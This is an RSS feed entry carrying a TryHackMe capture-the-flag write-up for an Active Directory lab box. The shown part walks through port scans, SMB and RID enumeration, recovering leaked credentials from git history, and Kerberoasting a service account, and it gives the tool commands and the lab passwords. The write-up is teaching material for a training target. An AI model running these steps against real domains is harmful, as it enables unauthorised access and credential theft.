<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:dc="http://purl.org/dc/elements/1.1/">
  <channel>
    <title>DEV Community: Yogeshwar Peela</title>
    <description>The latest articles on DEV Community by Yogeshwar Peela (@exploitnotes).</description>
    <link>https://dev.to/exploitnotes</link>
    <image>
      <url>https://media2.dev.to/dynamic/image/width=90,height=90,fit=cover,gravity=auto,format=auto/https:%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Fuser%2Fprofile_image%2F3953474%2F44022a43-aec2-495f-9244-5a1e6ddc9e42.jpg</url>
      <title>DEV Community: Yogeshwar Peela</title>
      <link>https://dev.to/exploitnotes</link>
    </image>
    <atom:link rel="self" type="application/rss+xml" href="https://dev.to/feed/exploitnotes"/>
    <language>en</language>
    <item>
      <title>TryHackMe : Enterprise Writeup</title>
      <dc:creator>Yogeshwar Peela</dc:creator>
      <pubDate>Fri, 24 Jul 2026 09:18:14 +0000</pubDate>
      <link>https://dev.to/exploitnotes/tryhackme-enterprise-writeup-omj</link>
      <guid>https://dev.to/exploitnotes/tryhackme-enterprise-writeup-omj</guid>
      <description>&lt;h2&gt;
  
  
  Summary
&lt;/h2&gt;

&lt;p&gt;Enterprise is an Active Directory box that starts as a classic external AD footprint (DNS, Kerberos, LDAP, SMB, RDP, WinRM) plus two extra web ports: an IIS site on 80 and a Bitbucket-branded login page on 7990 that turns out to actually be a copy of Atlassian's real hosted login page, complete with a company-specific banner announcing a move to GitHub. That banner is the real hint - Google dorking for the company name against &lt;code&gt;site:github.com&lt;/code&gt; turns up a public GitHub org for the company, and digging through commit history in one of its repos (a PowerShell AD management script) surfaces a hardcoded, later-"removed" username and password that were never actually purged from git history.&lt;/p&gt;

&lt;p&gt;Those first credentials (&lt;code&gt;nik&lt;/code&gt;) don't get a shell directly, but they're enough to Kerberoast the domain and pull a service ticket for a &lt;code&gt;bitbucket&lt;/code&gt; service account, whose password cracks easily with rockyou. &lt;code&gt;bitbucket&lt;/code&gt; turns out to be a member of &lt;em&gt;Remote Desktop Users&lt;/em&gt;, so RDP lands an interactive session and the user flag. From there, manual enumeration of &lt;code&gt;Program Files (x86)&lt;/code&gt; (deliberately done by hand instead of an automated tool like WinPEAS, to actually understand what's being looked at) turns up a leftover ZeroTier install whose service folder is writable by &lt;code&gt;BUILTIN\Users&lt;/code&gt; while the service itself runs as &lt;code&gt;LocalSystem&lt;/code&gt; - a textbook writable-service-binary privilege escalation. Overwriting the service binary with a payload and restarting the service pops a SYSTEM shell and the root flag; the same weakness can also be abused "the PowerUp way" to just add a new local administrator instead.&lt;/p&gt;

&lt;p&gt;IPs are referred to below as &lt;code&gt;machine-ip&lt;/code&gt; (the TryHackMe target - it changed a couple of times across the session as the VPN reset) and &lt;code&gt;attacker-ip&lt;/code&gt; (the Kali box).&lt;/p&gt;




&lt;h2&gt;
  
  
  Recon
&lt;/h2&gt;

&lt;h3&gt;
  
  
  Nmap - top ports
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;nmap &lt;span class="nt"&gt;-A&lt;/span&gt; &lt;span class="nt"&gt;-Pn&lt;/span&gt; machine-ip &lt;span class="nt"&gt;-o&lt;/span&gt; nmap
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Output&lt;/p&gt;
&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Nmap scan report for machine-ip
Host is up (0.047s latency).
Not shown: 988 closed tcp ports (reset)
PORT     STATE SERVICE       VERSION
53/tcp   open  domain        Simple DNS Plus
80/tcp   open  http          Microsoft IIS httpd 10.0
|_http-server-header: Microsoft-IIS/10.0
|_http-title: "Site doesn't have a title (text/html)."
| http-methods:
|_  Potentially risky methods: TRACE
88/tcp   open  kerberos-sec  Microsoft Windows Kerberos
135/tcp  open  msrpc         Microsoft Windows RPC
139/tcp  open  netbios-ssn   Microsoft Windows netbios-ssn
389/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: ENTERPRISE.THM, Site: Default-First-Site-Name)
445/tcp  open  microsoft-ds?
464/tcp  open  kpasswd5?
593/tcp  open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
636/tcp  open  tcpwrapped
3389/tcp open  ms-wbt-server Microsoft Terminal Services
| ssl-cert: Subject: commonName=LAB-DC.LAB.ENTERPRISE.THM
5985/tcp open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: "Not Found"

Host script results:
| smb2-security-mode:
|   3.1.1:
|_    Message signing enabled and required
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;
&lt;p&gt;Standard Windows Server / DC fingerprint: Kerberos, LDAP, SMB with signing required, RDP, WinRM. Domain is &lt;code&gt;ENTERPRISE.THM&lt;/code&gt;, DC hostname &lt;code&gt;LAB-DC.LAB.ENTERPRISE.THM&lt;/code&gt;.&lt;/p&gt;

&lt;h3&gt;
  
  
  Full port scan
&lt;/h3&gt;

&lt;p&gt;The top-1000 scan is missing a lot on a box like this, so a full TCP sweep with rustscan/nmap was worth doing:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;rustscan &lt;span class="nt"&gt;-a&lt;/span&gt; machine-ip
nmap &lt;span class="nt"&gt;-Pn&lt;/span&gt; &lt;span class="nt"&gt;-p53&lt;/span&gt;,80,88,135,139,389,445,464,593,636,3268,3269,3389,5985,7990,9389,47001,49664,... &lt;span class="nt"&gt;-sC&lt;/span&gt; &lt;span class="nt"&gt;-sV&lt;/span&gt; &lt;span class="nt"&gt;-oA&lt;/span&gt; enterprise_scan machine-ip
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Key findings from the full scan&lt;/p&gt;
&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;53/tcp    open   domain
80/tcp    open   http          Microsoft IIS httpd 10.0
88/tcp    open   kerberos-sec
135/tcp   open   msrpc
139/tcp   open   netbios-ssn
389/tcp   open   ldap
445/tcp   open   microsoft-ds
464/tcp   open   kpasswd5
593/tcp   open   ncacn_http
636/tcp   open   tcpwrapped
3268/tcp  open   ldap          (Global Catalog)
3269/tcp  open   tcpwrapped    (Global Catalog SSL)
3389/tcp  open   ms-wbt-server
5985/tcp  open   http          (WinRM)
7990/tcp  open   http          Microsoft IIS httpd 10.0
|_http-title: "Log in to continue - Log in with Atlassian account"
9389/tcp  open   mc-nmf        .NET Message Framing (ADWS)
47001/tcp open   http
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;
&lt;p&gt;Port &lt;strong&gt;7990&lt;/strong&gt; was the interesting one the top-1000 scan had missed entirely - that's the default port for Bitbucket Server, and its title claims to be an Atlassian login page.&lt;/p&gt;

&lt;h3&gt;
  
  
  SMB null / guest session
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;nxc smb machine-ip &lt;span class="nt"&gt;-u&lt;/span&gt; &lt;span class="s1"&gt;''&lt;/span&gt; &lt;span class="nt"&gt;-p&lt;/span&gt; &lt;span class="s1"&gt;''&lt;/span&gt;
nxc smb machine-ip &lt;span class="nt"&gt;-u&lt;/span&gt; guest &lt;span class="nt"&gt;-p&lt;/span&gt; &lt;span class="s1"&gt;''&lt;/span&gt;
nxc smb machine-ip &lt;span class="nt"&gt;-u&lt;/span&gt; guest &lt;span class="nt"&gt;-p&lt;/span&gt; &lt;span class="s1"&gt;''&lt;/span&gt; &lt;span class="nt"&gt;--shares&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Output&lt;/p&gt;
&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;SMB   machine-ip   445   LAB-DC   Windows 10 / Server 2019 Build 17763 x64 (domain:LAB.ENTERPRISE.THM) (signing:True) (SMBv1:None) (Null Auth:True)
SMB   machine-ip   445   LAB-DC   LAB.ENTERPRISE.THM\guest:

Share           Permissions     Remark
-----           -----------     ------
ADMIN$                          Remote Admin
C$                               Default share
Docs            READ
IPC$            READ            Remote IPC
NETLOGON                        Logon server share
SYSVOL                          Logon server share
Users           READ            Users Share. Do Not Touch!
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;
&lt;p&gt;Null and guest auth both work, and there's a readable &lt;code&gt;Docs&lt;/code&gt; share worth checking.&lt;/p&gt;

&lt;h3&gt;
  
  
  RID brute forcing users
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;nxc smb machine-ip &lt;span class="nt"&gt;-u&lt;/span&gt; guest &lt;span class="nt"&gt;-p&lt;/span&gt; &lt;span class="s1"&gt;''&lt;/span&gt; &lt;span class="nt"&gt;--rid-brute&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Trimmed output - user accounts&lt;/p&gt;
&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;500: LAB-ENTERPRISE\Administrator (SidTypeUser)
501: LAB-ENTERPRISE\Guest (SidTypeUser)
502: LAB-ENTERPRISE\krbtgt (SidTypeUser)
1000: LAB-ENTERPRISE\atlbitbucket (SidTypeUser)
1001: LAB-ENTERPRISE\LAB-DC$ (SidTypeUser)
1104: LAB-ENTERPRISE\ENTERPRISE$ (SidTypeUser)
1106: LAB-ENTERPRISE\bitbucket (SidTypeUser)
1107: LAB-ENTERPRISE\nik (SidTypeUser)
1108: LAB-ENTERPRISE\replication (SidTypeUser)
1109: LAB-ENTERPRISE\spooks (SidTypeUser)
1110: LAB-ENTERPRISE\korone (SidTypeUser)
1111: LAB-ENTERPRISE\banana (SidTypeUser)
1112: LAB-ENTERPRISE\Cake (SidTypeUser)
1116: LAB-ENTERPRISE\contractor-temp (SidTypeUser)
1117: LAB-ENTERPRISE\varg (SidTypeUser)
1119: LAB-ENTERPRISE\joiner (SidTypeUser)
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;
&lt;p&gt;Extracted a clean &lt;code&gt;users.txt&lt;/code&gt; from this list (Administrator, Guest, krbtgt, atlbitbucket, bitbucket, nik, replication, spooks, korone, banana, Cake, contractor-temp, varg, joiner) and confirmed them all as valid usernames against Kerberos with kerbrute:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;kerbrute userenum &lt;span class="nt"&gt;-d&lt;/span&gt; LAB.ENTERPRISE.THM &lt;span class="nt"&gt;--dc&lt;/span&gt; machine-ip users.txt
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;All 13 non-machine accounts came back as valid, confirming the account list is accurate.&lt;/p&gt;

&lt;h3&gt;
  
  
  The Docs share - a deliberate dead end
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;smbclient //enterprise.thm/Docs &lt;span class="nt"&gt;-N&lt;/span&gt;
mget &lt;span class="k"&gt;*&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Pulled down &lt;code&gt;RSA-Secured-Credentials.xlsx&lt;/code&gt; and &lt;code&gt;RSA-Secured-Document-PII.docx&lt;/code&gt;, both password-protected Office files (&lt;code&gt;file&lt;/code&gt; identified them as &lt;code&gt;CDFV2 Encrypted&lt;/code&gt;). Extracted hashes with &lt;code&gt;office2john&lt;/code&gt; and threw rockyou at them with &lt;code&gt;john&lt;/code&gt;:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;office2john RSA-Secured-Credentials.xlsx &lt;span class="o"&gt;&amp;gt;&lt;/span&gt; hash.txt
office2john RSA-Secured-Document-PII.docx &lt;span class="o"&gt;&amp;gt;&amp;gt;&lt;/span&gt; hash.txt
john &lt;span class="nt"&gt;--wordlist&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;/usr/share/wordlists/rockyou.txt hash.txt
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;This didn't crack in any reasonable time, which was the signal that this wasn't the intended path - real Office encryption is expensive to brute force, and an "easy" box wouldn't gate the real path behind that. Moved on and left these files uncracked.&lt;/p&gt;




&lt;h2&gt;
  
  
  Finding the GitHub org
&lt;/h2&gt;

&lt;h3&gt;
  
  
  The Bitbucket-styled login page
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;curl http://machine-ip:7990/
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The page rendered as a pixel-perfect copy of Atlassian's real &lt;code&gt;id.atlassian.com&lt;/code&gt; login page, but with a custom banner injected above the login form:&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Reminder to all Enterprise-THM Employees:&lt;/strong&gt;&lt;br&gt;
&lt;strong&gt;We are moving to Github!&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Log in to your account&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;Wappalyzer confirmed the stack as IIS 10.0 plus Apple/Atlassian sign-in bits - basically a static clone of the real login page, not an actual live Bitbucket instance. The banner text is clearly the important part here: a nudge toward GitHub.&lt;/p&gt;

&lt;h3&gt;
  
  
  Google dorking for the GitHub org
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;"Enterprise-THM" site:github.com
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;This turned up a real GitHub organization: &lt;code&gt;github.com/Enterprise-THM&lt;/code&gt;, with one repo, &lt;code&gt;About-Us&lt;/code&gt;.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;git clone https://github.com/Enterprise-THM/About-Us
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;README.md&lt;/p&gt;
&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight markdown"&gt;&lt;code&gt;&lt;span class="gu"&gt;### Welcome to Enterprise.THM&lt;/span&gt;

Enterprise.THM is the latest and greatest company on the NYSE. Later on, you'll be able to view all of our awesome free, open source trading algorithms.
Stay tuned for more details.
&lt;span class="p"&gt;
-&lt;/span&gt; Enterprise.THM Team
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;
&lt;p&gt;Nothing sensitive in the current file, but always worth checking &lt;code&gt;git log&lt;/code&gt; on a repo like this - a leading hint that there might be more:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;git log &lt;span class="nt"&gt;--oneline&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;41a9956 (HEAD -&amp;gt; main, origin/main, origin/HEAD) Update README.md
3bd74df Create README.md
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Both commits just tweak formatting on the README, no secrets here - but this confirmed the org is real and gave a real author identity to pivot on: &lt;code&gt;Sq00ky&lt;/code&gt;. Checking the org's people page directly was more productive:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;curl &lt;span class="nt"&gt;-s&lt;/span&gt; https://github.com/orgs/Enterprise-THM/people &lt;span class="nt"&gt;-o&lt;/span&gt; people.html
&lt;span class="nb"&gt;grep&lt;/span&gt; &lt;span class="nt"&gt;-oP&lt;/span&gt; &lt;span class="s1"&gt;'href="/[^"]+"'&lt;/span&gt; people.html
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;That turned up a second GitHub account: &lt;code&gt;Nik-enterprise-dev&lt;/code&gt; - matching the &lt;code&gt;nik&lt;/code&gt; username already seen in the AD user list. Their profile had one public repo: &lt;code&gt;mgmtScript.ps1&lt;/code&gt;.&lt;/p&gt;

&lt;h3&gt;
  
  
  The leaked credentials
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;git clone https://github.com/Nik-enterprise-dev/mgmtScript.ps1
&lt;span class="nb"&gt;cat &lt;/span&gt;SystemInfo.ps1
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Current file contents&lt;/p&gt;
&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight powershell"&gt;&lt;code&gt;&lt;span class="n"&gt;Import-Module&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;ActiveDirectory&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="nv"&gt;$userName&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s1"&gt;''&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="nv"&gt;$userPassword&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s1"&gt;''&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="nv"&gt;$psCreds&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;ConvertTo-SecureString&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;$userPassword&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;-AsPlainText&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;-Force&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="nv"&gt;$Computers&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;New-Object&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;-TypeName&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"System.Collections.ArrayList"&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="nv"&gt;$Computer&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;$&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;Get-ADComputer&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;-Filter&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;|&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;Select-Object&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;Name&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="kr"&gt;for&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;$index&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;-1&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;$index&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;-lt&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;$Computer&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;count&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;$index&lt;/span&gt;&lt;span class="o"&gt;++&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;Invoke-Command&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;-ComputerName&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;$index&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="n"&gt;systeminfo&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;
&lt;p&gt;Empty username/password in the current version - but the commit history tells a different story:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;git log
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;commit c3c239df75fefbe7563d1d29c963ba1f01e4fe5a (HEAD -&amp;gt; main, origin/main, origin/HEAD)
Author: Nik-enterprise-dev
Date:   Sat Mar 13 20:09:16 2021 -0500

    Updated things

    I accidentally added something
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;That commit message is basically a confession. Diffing it confirms it:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;git show c3c239df75fefbe7563d1d29c963ba1f01e4fe5a
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight diff"&gt;&lt;code&gt; Import-Module ActiveDirectory
&lt;span class="gd"&gt;-$userName = 'nik'
-$userPassword = 'ToastyBoi!'
&lt;/span&gt;&lt;span class="gi"&gt;+$userName = ''
+$userPassword = ''
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Blanking out the values in a new commit doesn't remove them from git history - the old commit (and the credentials in it) are still sitting right there. That's &lt;code&gt;nik:ToastyBoi!&lt;/code&gt;.&lt;/p&gt;




&lt;h2&gt;
  
  
  Validating and using nik's credentials
&lt;/h2&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;nxc smb machine-ip &lt;span class="nt"&gt;-u&lt;/span&gt; nik &lt;span class="nt"&gt;-p&lt;/span&gt; &lt;span class="s1"&gt;'ToastyBoi!'&lt;/span&gt;
nxc ldap machine-ip &lt;span class="nt"&gt;-u&lt;/span&gt; nik &lt;span class="nt"&gt;-p&lt;/span&gt; &lt;span class="s1"&gt;'ToastyBoi!'&lt;/span&gt;
nxc winrm machine-ip &lt;span class="nt"&gt;-u&lt;/span&gt; nik &lt;span class="nt"&gt;-p&lt;/span&gt; &lt;span class="s1"&gt;'ToastyBoi!'&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Output&lt;/p&gt;
&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;SMB    machine-ip   445    LAB-DC   LAB.ENTERPRISE.THM\nik:ToastyBoi!
LDAP   machine-ip   389    LAB-DC   LAB.ENTERPRISE.THM\nik:ToastyBoi!
WINRM  machine-ip   5985   LAB-DC   [-] LAB.ENTERPRISE.THM\nik:ToastyBoi!
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;
&lt;p&gt;Valid on SMB and LDAP, but no WinRM - &lt;code&gt;nik&lt;/code&gt; isn't in a group that grants remote PowerShell access. Used &lt;code&gt;bloodyAD&lt;/code&gt; for LDAP enumeration from here on since BloodHound's own collector partially failed to ingest cleanly in this session:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;bloodyAD &lt;span class="nt"&gt;--host&lt;/span&gt; LAB-DC.LAB.ENTERPRISE.THM &lt;span class="nt"&gt;-d&lt;/span&gt; LAB.ENTERPRISE.THM &lt;span class="nt"&gt;-u&lt;/span&gt; nik &lt;span class="nt"&gt;-p&lt;/span&gt; &lt;span class="s1"&gt;'ToastyBoi!'&lt;/span&gt; get object nik
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Confirmed &lt;code&gt;nik&lt;/code&gt; is a normal domain user (&lt;code&gt;NORMAL_ACCOUNT&lt;/code&gt;, &lt;code&gt;DONT_EXPIRE_PASSWORD&lt;/code&gt;) and a member of the &lt;code&gt;Contractor&lt;/code&gt; and &lt;code&gt;Password-Policy-Exemption&lt;/code&gt; groups. Checked what &lt;code&gt;nik&lt;/code&gt; could actually write in the directory:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;bloodyAD &lt;span class="nt"&gt;--host&lt;/span&gt; LAB-DC.LAB.ENTERPRISE.THM &lt;span class="nt"&gt;-d&lt;/span&gt; LAB.ENTERPRISE.THM &lt;span class="nt"&gt;-u&lt;/span&gt; nik &lt;span class="nt"&gt;-p&lt;/span&gt; &lt;span class="s1"&gt;'ToastyBoi!'&lt;/span&gt; get writable
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Nothing exploitable there beyond &lt;code&gt;nik&lt;/code&gt;'s own object. The next natural step for any authenticated domain user is checking for Kerberoastable service accounts:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;bloodyAD &lt;span class="nt"&gt;--host&lt;/span&gt; LAB-DC.LAB.ENTERPRISE.THM &lt;span class="nt"&gt;-d&lt;/span&gt; LAB.ENTERPRISE.THM &lt;span class="nt"&gt;-u&lt;/span&gt; nik &lt;span class="nt"&gt;-p&lt;/span&gt; &lt;span class="s1"&gt;'ToastyBoi!'&lt;/span&gt; get search &lt;span class="nt"&gt;--filter&lt;/span&gt; &lt;span class="s1"&gt;'(&amp;amp;(objectClass=user)(servicePrincipalName=*))'&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;That search returned the DC's own machine account (expected) and, more usefully, a &lt;code&gt;bitbucket&lt;/code&gt; service account with an SPN of &lt;code&gt;HTTP/LAB-DC&lt;/code&gt; - a genuine human-managed service account with a Kerberoastable SPN.&lt;/p&gt;




&lt;h2&gt;
  
  
  Kerberoasting the bitbucket account
&lt;/h2&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;impacket-GetUserSPNs LAB.ENTERPRISE.THM/nik:&lt;span class="s1"&gt;'ToastyBoi!'&lt;/span&gt; &lt;span class="nt"&gt;-dc-ip&lt;/span&gt; machine-ip &lt;span class="nt"&gt;-request&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Output (ticket truncated)&lt;/p&gt;
&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;ServicePrincipalName  Name       MemberOf                                                       PasswordLastSet             LastLogon                   Delegation
--------------------  ---------  -------------------------------------------------------------  --------------------------  --------------------------  ----------
HTTP/LAB-DC           bitbucket  CN=sensitive-account,CN=Builtin,DC=LAB,DC=ENTERPRISE,DC=THM     2021-03-11 20:20:01.333272  2021-04-26 11:16:41.570158

$krb5tgs$23$*bitbucket$LAB.ENTERPRISE.THM$LAB.ENTERPRISE.THM/bitbucket*$...[truncated]...
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;
&lt;p&gt;Saved the ticket to &lt;code&gt;bitbucket.hash&lt;/code&gt; and cracked it offline with rockyou:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;john &lt;span class="nt"&gt;--wordlist&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;/usr/share/wordlists/rockyou.txt bitbucket.hash
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;littleredbucket  (?)
1g 0:00:00:00 DONE
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Weak password, cracked almost instantly - &lt;code&gt;bitbucket:littleredbucket&lt;/code&gt;.&lt;/p&gt;

